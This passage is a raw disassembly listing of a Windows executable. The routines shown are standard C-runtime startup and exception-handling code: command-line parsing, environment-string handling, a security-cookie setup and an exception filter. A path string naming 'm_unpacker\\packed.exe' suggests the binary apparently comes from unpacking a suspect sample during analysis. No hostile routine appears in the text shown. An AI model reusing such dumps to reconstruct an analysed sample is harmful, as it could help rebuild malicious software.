		call	sub_40C500
		mov	ebp, eax
		inc	ebp
		cmp	byte ptr [esi],	3Dh
		pop	ecx
		jz	short loc_4149DD
		push	1
		push	ebp
		call	sub_41187A
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jz	short loc_414A08
		push	esi
		push	ebp
		push	eax
		call	sub_4117D5
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4149DA
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40CA0C
		add	esp, 14h

loc_4149DA:				; CODE XREF: sub_414943+88j
		add	edi, 4

loc_4149DD:				; CODE XREF: sub_414943+69j
		add	esi, ebp

loc_4149DF:				; CODE XREF: sub_414943+5Aj
		cmp	[esi], bl
		jnz	short loc_41499F
		push	dword_425B14
		call	sub_40D35A
		mov	dword_425B14, ebx
		mov	[edi], ebx
		mov	dword_434D28, 1
		xor	eax, eax

loc_414A02:				; CODE XREF: sub_414943+D9j
		pop	ecx
		pop	ebp

loc_414A04:				; CODE XREF: sub_414943+21j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_414A08:				; CODE XREF: sub_414943+79j
		push	dword_426018
		call	sub_40D35A
		mov	dword_426018, ebx
		or	eax, 0FFFFFFFFh
		jmp	short loc_414A02
sub_414943	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1E	proc near		; CODE XREF: sub_414BB6+55p
					; sub_414BB6+96p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ebx
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	esi
		mov	[edi], eax
		mov	esi, edx
		mov	edx, [ebp+arg_4]
		mov	dword ptr [ecx], 1
		jz	short loc_414A44
		mov	ebx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ebx], edx

loc_414A44:				; CODE XREF: sub_414A1E+1Bj
		mov	[ebp+var_4], eax

loc_414A47:				; CODE XREF: sub_414A1E+7Ej
					; sub_414A1E+88j
		cmp	byte ptr [esi],	22h
		jnz	short loc_414A5C
		xor	eax, eax
		cmp	[ebp+var_4], eax
		mov	bl, 22h
		setz	al
		inc	esi
		mov	[ebp+var_4], eax
		jmp	short loc_414A98
; ---------------------------------------------------------------------------

loc_414A5C:				; CODE XREF: sub_414A1E+2Cj
		inc	dword ptr [edi]
		test	edx, edx
		jz	short loc_414A6A
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		mov	[ebp+arg_4], edx

loc_414A6A:				; CODE XREF: sub_414A1E+42j
		mov	bl, [esi]
		movzx	eax, bl
		push	eax
		inc	esi
		call	sub_419CB1
		test	eax, eax
		pop	ecx
		jz	short loc_414A8E
		inc	dword ptr [edi]
		cmp	[ebp+arg_4], 0
		jz	short loc_414A8D
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al

loc_414A8D:				; CODE XREF: sub_414A1E+63j
		inc	esi

loc_414A8E:				; CODE XREF: sub_414A1E+5Bj
		test	bl, bl
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		jz	short loc_414ACA

loc_414A98:				; CODE XREF: sub_414A1E+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_414A47
		cmp	bl, 20h
		jz	short loc_414AA8
		cmp	bl, 9
		jnz	short loc_414A47

loc_414AA8:				; CODE XREF: sub_414A1E+83j
		test	edx, edx
		jz	short loc_414AB0
		mov	byte ptr [edx-1], 0

loc_414AB0:				; CODE XREF: sub_414A1E+8Cj
					; sub_414A1E+ADj
		and	[ebp+var_4], 0

loc_414AB4:				; CODE XREF: sub_414A1E+183j
		cmp	byte ptr [esi],	0
		jz	loc_414BA6

loc_414ABD:				; CODE XREF: sub_414A1E+AAj
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_414AC7
		cmp	al, 9
		jnz	short loc_414ACD

loc_414AC7:				; CODE XREF: sub_414A1E+A3j
		inc	esi
		jmp	short loc_414ABD
; ---------------------------------------------------------------------------

loc_414ACA:				; CODE XREF: sub_414A1E+78j
		dec	esi
		jmp	short loc_414AB0
; ---------------------------------------------------------------------------

loc_414ACD:				; CODE XREF: sub_414A1E+A7j
		cmp	byte ptr [esi],	0
		jz	loc_414BA6
		cmp	[ebp+arg_0], 0
		jz	short loc_414AE5
		mov	eax, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[eax], edx

loc_414AE5:				; CODE XREF: sub_414A1E+BCj
		inc	dword ptr [ecx]

loc_414AE7:				; CODE XREF: sub_414A1E+16Ej
		xor	ebx, ebx
		inc	ebx
		xor	ecx, ecx
		jmp	short loc_414AF0
; ---------------------------------------------------------------------------

loc_414AEE:				; CODE XREF: sub_414A1E+D5j
		inc	esi
		inc	ecx

loc_414AF0:				; CODE XREF: sub_414A1E+CEj
		cmp	byte ptr [esi],	5Ch
		jz	short loc_414AEE
		cmp	byte ptr [esi],	22h
		jnz	short loc_414B20
		test	cl, 1
		jnz	short loc_414B1E
		cmp	[ebp+var_4], 0
		jz	short loc_414B11
		lea	eax, [esi+1]
		cmp	byte ptr [eax],	22h
		jnz	short loc_414B11
		mov	esi, eax
		jmp	short loc_414B1E
; ---------------------------------------------------------------------------

loc_414B11:				; CODE XREF: sub_414A1E+E5j
					; sub_414A1E+EDj
		xor	eax, eax
		xor	ebx, ebx
		cmp	[ebp+var_4], eax
		setz	al
		mov	[ebp+var_4], eax

loc_414B1E:				; CODE XREF: sub_414A1E+DFj
					; sub_414A1E+F1j
		shr	ecx, 1

loc_414B20:				; CODE XREF: sub_414A1E+DAj
		test	ecx, ecx
		jz	short loc_414B36

loc_414B24:				; CODE XREF: sub_414A1E+113j
		dec	ecx
		test	edx, edx
		jz	short loc_414B2D
		mov	byte ptr [edx],	5Ch
		inc	edx

loc_414B2D:				; CODE XREF: sub_414A1E+109j
		inc	dword ptr [edi]
		test	ecx, ecx
		jnz	short loc_414B24
		mov	[ebp+arg_4], edx

loc_414B36:				; CODE XREF: sub_414A1E+104j
		mov	al, [esi]
		test	al, al
		jz	short loc_414B91
		cmp	[ebp+var_4], 0
		jnz	short loc_414B4A
		cmp	al, 20h
		jz	short loc_414B91
		cmp	al, 9
		jz	short loc_414B91

loc_414B4A:				; CODE XREF: sub_414A1E+122j
		test	ebx, ebx
		jz	short loc_414B8B
		test	edx, edx
		movsx	eax, al
		push	eax
		jz	short loc_414B79
		call	sub_419CB1
		test	eax, eax
		pop	ecx
		jz	short loc_414B6D
		mov	al, [esi]
		mov	ecx, [ebp+arg_4]
		inc	[ebp+arg_4]
		mov	[ecx], al
		inc	esi
		inc	dword ptr [edi]

loc_414B6D:				; CODE XREF: sub_414A1E+140j
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al
		jmp	short loc_414B86
; ---------------------------------------------------------------------------

loc_414B79:				; CODE XREF: sub_414A1E+136j
		call	sub_419CB1
		test	eax, eax
		pop	ecx
		jz	short loc_414B86
		inc	esi
		inc	dword ptr [edi]

loc_414B86:				; CODE XREF: sub_414A1E+159j
					; sub_414A1E+163j
		inc	dword ptr [edi]
		mov	edx, [ebp+arg_4]

loc_414B8B:				; CODE XREF: sub_414A1E+12Ej
		inc	esi
		jmp	loc_414AE7
; ---------------------------------------------------------------------------

loc_414B91:				; CODE XREF: sub_414A1E+11Cj
					; sub_414A1E+126j ...
		test	edx, edx
		jz	short loc_414B9C
		mov	byte ptr [edx],	0
		inc	edx
		mov	[ebp+arg_4], edx

loc_414B9C:				; CODE XREF: sub_414A1E+175j
		inc	dword ptr [edi]
		mov	ecx, [ebp+arg_8]
		jmp	loc_414AB4
; ---------------------------------------------------------------------------

loc_414BA6:				; CODE XREF: sub_414A1E+99j
					; sub_414A1E+B2j
		mov	eax, [ebp+arg_0]
		test	eax, eax
		pop	esi
		pop	ebx
		jz	short loc_414BB2
		and	dword ptr [eax], 0

loc_414BB2:				; CODE XREF: sub_414A1E+18Fj
		inc	dword ptr [ecx]
		leave
		retn
sub_414A1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414BB6	proc near		; CODE XREF: .text:0040E0F4p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		xor	ebx, ebx
		cmp	dword_434D34, ebx
		push	esi
		push	edi
		jnz	short loc_414BCE
		call	sub_40EE04

loc_414BCE:				; CODE XREF: sub_414BB6+11j
		push	104h
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	esi
		push	ebx
		mov	byte_42647C, bl
		call	ds:dword_41E0B4	; GetModuleFileNameA
		mov	eax, dword_434D60
		cmp	eax, ebx
		mov	off_426028, esi
		jz	short loc_414BFC
		cmp	[eax], bl
		mov	[ebp+var_4], eax
		jnz	short loc_414BFF

loc_414BFC:				; CODE XREF: sub_414BB6+3Dj
		mov	[ebp+var_4], esi

loc_414BFF:				; CODE XREF: sub_414BB6+44j
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		lea	edi, [ebp+var_C]
		call	sub_414A1E
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	eax, 3FFFFFFFh
		jnb	short loc_414C67
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnb	short loc_414C67
		mov	edi, eax
		shl	edi, 2
		lea	eax, [edi+ecx]
		cmp	eax, ecx
		jb	short loc_414C67
		push	eax
		call	sub_41183A
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jz	short loc_414C67
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		add	edi, esi
		push	edi
		push	esi
		lea	edi, [ebp+var_C]
		call	sub_414A1E
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		dec	eax
		mov	dword_42600C, eax
		mov	dword_426010, esi
		xor	eax, eax
		jmp	short loc_414C6A
; ---------------------------------------------------------------------------

loc_414C67:				; CODE XREF: sub_414BB6+65j
					; sub_414BB6+6Dj ...
		or	eax, 0FFFFFFFFh

loc_414C6A:				; CODE XREF: sub_414BB6+AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414BB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C6F	proc near		; CODE XREF: .text:0040E0EAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_426480
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ds:dword_41E11C
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_414CB8
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_414C9F
		mov	dword_426480, 1
		jmp	short loc_414CC1
; ---------------------------------------------------------------------------

loc_414C9F:				; CODE XREF: sub_414C6F+22j
		call	ds:dword_41E0D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_414CB3
		mov	eax, ebp
		mov	dword_426480, eax
		jmp	short loc_414CB8
; ---------------------------------------------------------------------------

loc_414CB3:				; CODE XREF: sub_414C6F+39j
		mov	eax, dword_426480

loc_414CB8:				; CODE XREF: sub_414C6F+1Aj
					; sub_414C6F+42j
		cmp	eax, 1
		jnz	loc_414D45

loc_414CC1:				; CODE XREF: sub_414C6F+2Ej
		cmp	esi, ebx
		jnz	short loc_414CD4
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_414CD4

loc_414CCD:				; CODE XREF: sub_414C6F+DCj
					; sub_414C6F+E8j ...
		xor	eax, eax
		jmp	loc_414D9D
; ---------------------------------------------------------------------------

loc_414CD4:				; CODE XREF: sub_414C6F+54j
					; sub_414C6F+5Cj
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_414CE9

loc_414CDB:				; CODE XREF: sub_414C6F+71j
					; sub_414C6F+78j
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_414CDB
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_414CDB

loc_414CE9:				; CODE XREF: sub_414C6F+6Aj
		mov	edi, ds:dword_41E120
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_414D3A
		push	ebp
		call	sub_41183A
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_414D3A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_414D36
		push	[esp+18h+var_8]
		call	sub_40D35A
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_414D36:				; CODE XREF: sub_414C6F+B7j
		mov	ebx, [esp+18h+var_8]

loc_414D3A:				; CODE XREF: sub_414C6F+97j
					; sub_414C6F+A6j
		push	esi
		call	ds:dword_41E124	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_414D9D
; ---------------------------------------------------------------------------

loc_414D45:				; CODE XREF: sub_414C6F+4Cj
		cmp	eax, ebp
		jz	short loc_414D4D
		cmp	eax, ebx
		jnz	short loc_414CCD

loc_414D4D:				; CODE XREF: sub_414C6F+D8j
		call	ds:off_41E128
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_414CCD
		cmp	[esi], bl
		jz	short loc_414D6B

loc_414D61:				; CODE XREF: sub_414C6F+F5j
					; sub_414C6F+FAj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_414D61
		inc	eax
		cmp	[eax], bl
		jnz	short loc_414D61

loc_414D6B:				; CODE XREF: sub_414C6F+F0j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41183A
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_414D89
		push	esi
		call	ds:off_41E12C
		jmp	loc_414CCD
; ---------------------------------------------------------------------------

loc_414D89:				; CODE XREF: sub_414C6F+10Cj
		push	ebp
		push	esi
		push	edi
		call	sub_40D820
		add	esp, 0Ch
		push	esi
		call	ds:off_41E12C
		mov	eax, edi

loc_414D9D:				; CODE XREF: sub_414C6F+60j
					; sub_414C6F+D4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_414C6F	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DA4	proc near		; CODE XREF: .text:loc_40E0C6p
		push	esi
		push	edi
		mov	eax, offset dword_42186C
		mov	edi, offset dword_42186C
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_414DC5

loc_414DB6:				; CODE XREF: sub_414DA4+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_414DBE
		call	eax

loc_414DBE:				; CODE XREF: sub_414DA4+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_414DB6

loc_414DC5:				; CODE XREF: sub_414DA4+10j
		pop	edi
		pop	esi
		retn
sub_414DA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DC8	proc near		; DATA XREF: sub_411A79+3Fo
		push	esi
		push	edi
		mov	eax, offset dword_421874
		mov	edi, offset dword_421874
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_414DE9

loc_414DDA:				; CODE XREF: sub_414DC8+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_414DE2
		call	eax

loc_414DE2:				; CODE XREF: sub_414DC8+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_414DDA

loc_414DE9:				; CODE XREF: sub_414DC8+10j
		pop	edi
		pop	esi
		retn
sub_414DC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DEC	proc near		; CODE XREF: .text:loc_40E1B2p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_423068
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	ebx
		push	edi
		mov	edi, 0BB40E64Eh
		cmp	eax, edi
		mov	ebx, 0FFFF0000h
		jz	short loc_414E1C
		test	eax, ebx
		jz	short loc_414E1C
		not	eax
		mov	dword_42306C, eax
		jmp	short loc_414E7C
; ---------------------------------------------------------------------------

loc_414E1C:				; CODE XREF: sub_414DEC+21j
					; sub_414DEC+25j
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	ds:off_41E118
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	ds:dword_41E19C	; GetCurrentProcessId
		xor	esi, eax
		call	ds:dword_41E0C8	; GetCurrentThreadId
		xor	esi, eax
		call	ds:dword_41E0EC	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41E084	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		cmp	esi, edi
		jnz	short loc_414E62
		mov	esi, 0BB40E64Fh
		jmp	short loc_414E6D
; ---------------------------------------------------------------------------

loc_414E62:				; CODE XREF: sub_414DEC+6Dj
		test	esi, ebx
		jnz	short loc_414E6D
		mov	eax, esi
		shl	eax, 10h
		or	esi, eax

loc_414E6D:				; CODE XREF: sub_414DEC+74j
					; sub_414DEC+78j
		mov	dword_423068, esi
		not	esi
		mov	dword_42306C, esi
		pop	esi

loc_414E7C:				; CODE XREF: sub_414DEC+2Ej
		pop	edi
		pop	ebx
		leave
		retn
sub_414DEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E80	proc near		; DATA XREF: sub_414EECo
					; .data:00423064o ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		mov	eax, [edi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_414EB9
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_414EB9
		mov	eax, [eax+14h]
		cmp	eax, 19930520h
		jz	short loc_414EB4
		cmp	eax, 19930521h
		jz	short loc_414EB4
		cmp	eax, 19930522h
		jz	short loc_414EB4
		cmp	eax, 1994000h
		jnz	short loc_414EB9

loc_414EB4:				; CODE XREF: sub_414E80+1Dj
					; sub_414E80+24j ...
		call	sub_415BBB

loc_414EB9:				; CODE XREF: sub_414E80+Dj
					; sub_414E80+13j ...
		cmp	byte_426488, 0
		push	esi
		jz	short loc_414EE5
		push	dword_426484
		call	sub_40F194
		mov	esi, eax
		test	esi, esi
		pop	ecx
		jz	short loc_414EE5
		push	esi
		call	sub_419CC4
		test	eax, eax
		pop	ecx
		jz	short loc_414EE5
		push	edi
		call	esi
		jmp	short loc_414EE7
; ---------------------------------------------------------------------------

loc_414EE5:				; CODE XREF: sub_414E80+41j
					; sub_414E80+53j ...
		xor	eax, eax

loc_414EE7:				; CODE XREF: sub_414E80+63j
		pop	esi
		pop	edi
		retn	4
sub_414E80	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EEC	proc near		; DATA XREF: r69pu5ti:0041E2C0o
		push	offset sub_414E80
		call	ds:dword_41E1A8	; SetUnhandledExceptionFilter
		push	eax
		call	sub_40F128
		mov	dword_426484, eax
		pop	ecx
		mov	byte_426488, 1
		xor	eax, eax
		retn
sub_414EEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F0D	proc near		; DATA XREF: r69pu5ti:0041E2F0o
		cmp	byte_426488, 0
		jz	short locret_414F30
		push	dword_426484
		call	sub_40F194
		pop	ecx
		push	eax
		call	ds:dword_41E1A8	; SetUnhandledExceptionFilter
		mov	byte_426488, 0

locret_414F30:				; CODE XREF: sub_414F0D+7j
		retn
sub_414F0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_414F31	proc near		; DATA XREF: r69pu5ti:00421CC0o
		mov	dword ptr [ecx], offset	off_41EC14
		jmp	sub_40C899
sub_414F31	endp

; ---------------------------------------------------------------------------

loc_414F3C:				; DATA XREF: r69pu5ti:off_41EC14o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41EC14
		call	sub_40C899
		test	byte ptr [esp+8], 1
		jz	short loc_414F58
		push	esi
		call	sub_40CB3C
		pop	ecx

loc_414F58:				; CODE XREF: .text:00414F4Fj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_414F5E	proc near		; CODE XREF: sub_41519D+4Ep
					; sub_415769+21Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_414FB4
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_414FB4
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_414F92
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_40CDC0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_414F92

loc_414F8E:				; CODE XREF: sub_414F5E+3Cj
					; sub_414F5E+4Bj ...
		xor	eax, eax
		jmp	short loc_414FB7
; ---------------------------------------------------------------------------

loc_414F92:				; CODE XREF: sub_414F5E+1Ej
					; sub_414F5E+2Ej
		test	byte ptr [esi],	2
		jz	short loc_414F9C
		test	byte ptr [edi],	8
		jz	short loc_414F8E

loc_414F9C:				; CODE XREF: sub_414F5E+37j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_414FAB
		test	byte ptr [edi],	1
		jz	short loc_414F8E

loc_414FAB:				; CODE XREF: sub_414F5E+46j
		test	al, 2
		jz	short loc_414FB4
		test	byte ptr [edi],	2
		jz	short loc_414F8E

loc_414FB4:				; CODE XREF: sub_414F5E+Bj
					; sub_414F5E+13j ...
		xor	eax, eax
		inc	eax

loc_414FB7:				; CODE XREF: sub_414F5E+32j
		pop	edi
		pop	esi
		retn
sub_414F5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_414FBA	proc near		; CODE XREF: sub_414FFE+85p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0E0434F4Dh
		jz	short loc_414FE1
		cmp	eax, 0E06D7363h
		jnz	short loc_414FFB
		call	sub_40F39E
		and	dword ptr [eax+90h], 0
		jmp	sub_415BBB
; ---------------------------------------------------------------------------

loc_414FE1:				; CODE XREF: sub_414FBA+Dj
		call	sub_40F39E
		cmp	dword ptr [eax+90h], 0
		jle	short loc_414FFB
		call	sub_40F39E
		add	eax, 90h
		dec	dword ptr [eax]

loc_414FFB:				; CODE XREF: sub_414FBA+14j
					; sub_414FBA+33j
		xor	eax, eax
		retn
sub_414FBA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FFE	proc near		; CODE XREF: sub_41525F+ECp
					; sub_41560B+36p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset dword_421BB8
		call	__SEH_prolog4
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [edi+4], 80h
		jg	short loc_41501F
		movsx	esi, byte ptr [ebx+8]
		jmp	short loc_415022
; ---------------------------------------------------------------------------

loc_41501F:				; CODE XREF: sub_414FFE+19j
		mov	esi, [ebx+8]

loc_415022:				; CODE XREF: sub_414FFE+1Fj
		mov	[ebp+var_1C], esi
		call	sub_40F39E
		add	eax, 90h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0

loc_415035:				; CODE XREF: sub_414FFE+9Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41509F
		cmp	esi, 0FFFFFFFFh
		jle	short loc_415044
		cmp	esi, [edi+4]
		jl	short loc_415049

loc_415044:				; CODE XREF: sub_414FFE+3Fj
		call	sub_415C07

loc_415049:				; CODE XREF: sub_414FFE+44j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
		add	ecx, eax
		mov	esi, [ecx]
		mov	[ebp+var_20], esi
		mov	[ebp+ms_exc.disabled], 1
		cmp	dword ptr [ecx+4], 0
		jz	short loc_41507A
		mov	[ebx+8], esi
		push	103h
		push	ebx
		mov	ecx, [edi+8]
		push	dword ptr [ecx+eax+4]
		call	sub_415C50

loc_41507A:				; CODE XREF: sub_414FFE+65j
		and	[ebp+ms_exc.disabled], 0
		jmp	short loc_41509A
; ---------------------------------------------------------------------------

loc_415080:				; DATA XREF: r69pu5ti:00421BD8o
		push	[ebp+ms_exc.exc_ptr]
		call	sub_414FBA
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41508A:				; DATA XREF: r69pu5ti:00421BD8o
		mov	esp, [ebp+ms_exc.old_esp]
		and	[ebp+ms_exc.disabled], 0
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_20]

loc_41509A:				; CODE XREF: sub_414FFE+80j
		mov	[ebp+var_1C], esi
		jmp	short loc_415035
; ---------------------------------------------------------------------------

loc_41509F:				; CODE XREF: sub_414FFE+3Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_4150C4
		cmp	esi, [ebp+arg_C]
		jz	short loc_4150B5
		call	sub_415C07

loc_4150B5:				; CODE XREF: sub_414FFE+B0j
		mov	[ebx+8], esi
		call	__SEH_epilog4
		retn
sub_414FFE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150BE	proc near		; DATA XREF: r69pu5ti:00421BD0o
		mov	ebx, [ebp+8]
		mov	esi, [ebp-1Ch]
sub_4150BE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4150C4	proc near		; CODE XREF: sub_414FFE+A8p
		call	sub_40F39E
		cmp	dword ptr [eax+90h], 0
		jle	short locret_4150DE
		call	sub_40F39E
		add	eax, 90h
		dec	dword ptr [eax]

locret_4150DE:				; CODE XREF: sub_4150C4+Cj
		retn
sub_4150C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150DF	proc near		; CODE XREF: sub_41525F+93p
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_415121
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_415121
		mov	ecx, [eax+14h]
		cmp	ecx, 19930520h
		jz	short loc_41510A
		cmp	ecx, 19930521h
		jz	short loc_41510A
		cmp	ecx, 19930522h
		jnz	short loc_415121

loc_41510A:				; CODE XREF: sub_4150DF+19j
					; sub_4150DF+21j
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_415121
		call	sub_40F39E
		xor	ecx, ecx
		inc	ecx
		mov	[eax+20Ch], ecx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------

loc_415121:				; CODE XREF: sub_4150DF+8j
					; sub_4150DF+Ej ...
		xor	eax, eax
		retn
sub_4150DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415124	proc near		; CODE XREF: sub_410640+112p
					; sub_415385+6Ep ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	8
		push	offset dword_421BE0
		call	__SEH_prolog4
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short loc_415161
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_415161
		mov	eax, [ecx+1Ch]
		test	eax, eax
		jz	short loc_415161
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_415161
		and	[ebp+ms_exc.disabled], 0
		push	eax
		push	dword ptr [ecx+18h]
		call	sub_40E236
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh

loc_415161:				; CODE XREF: sub_415124+11j
					; sub_415124+19j ...
		call	__SEH_epilog4
		retn
sub_415124	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_415BBB

; =============== S U B	R O U T	I N E =======================================



sub_415178	proc near		; CODE XREF: sub_4153FB+86p
					; sub_4153FB+113p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		mov	eax, [ecx]
		push	esi
		mov	esi, [esp+4+arg_0]
		add	eax, esi
		cmp	dword ptr [ecx+4], 0
		jl	short loc_41519B
		mov	edx, [ecx+4]
		mov	ecx, [ecx+8]
		mov	esi, [edx+esi]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_41519B:				; CODE XREF: sub_415178+11j
		pop	esi
		retn
sub_415178	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41519D	proc near		; CODE XREF: sub_415769+111p
					; sub_415769+2AEp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		test	edi, edi
		jnz	short loc_4151B1
		call	sub_415C07
		jmp	sub_415BBB
; ---------------------------------------------------------------------------

loc_4151B1:				; CODE XREF: sub_41519D+8j
		and	[ebp+var_8], 0
		cmp	dword ptr [edi], 0
